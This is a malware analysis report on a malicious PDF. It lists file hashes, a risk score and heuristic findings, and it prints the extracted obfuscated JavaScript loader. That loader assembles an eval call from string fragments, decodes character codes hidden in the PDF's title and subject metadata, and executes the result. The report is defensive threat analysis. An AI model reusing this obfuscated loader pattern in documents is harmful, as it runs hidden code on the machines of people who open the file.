Malicious PDF — malware analysis report

Static analysis result for SHA-256 969227bacc77f2ad…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2012-09-21
MD5: 0a60f62a5dcd40e01bd51f7dcd15d818 SHA-1: c947e4912a100b2a77e58ca89f0481b7700c933c SHA-256: 969227bacc77f2ad0d62def33286ef424d245fcd3907fc2bbd4cccfaec496724
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript action is likely intended to execute malicious code, although the specific payload is not discernible from the provided evidence. The document body contains a simple test string, suggesting the primary lure is the embedded script.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0A9 420 bytes
SHA-256: c91ede9f3a6bd1b4019c17d099405614ce147bdc59cba7484568fdc3e21ebadc
Preview script
First 1,000 lines of the extracted script
ejxk='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
oupoy=e('ti'+'tle');
s=oupoy.substr(t.length + 8,3)+'str';
q=oupoy[s](1,t.length + 7);
atonv=e(v[0].toUpperCase()+'tring.fro'+q);
q=oupoy[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	wahl = parseInt(q[i]) + parseInt(q[i+1]);
	ejxk += atonv(wahl);
}
e(ejxk);

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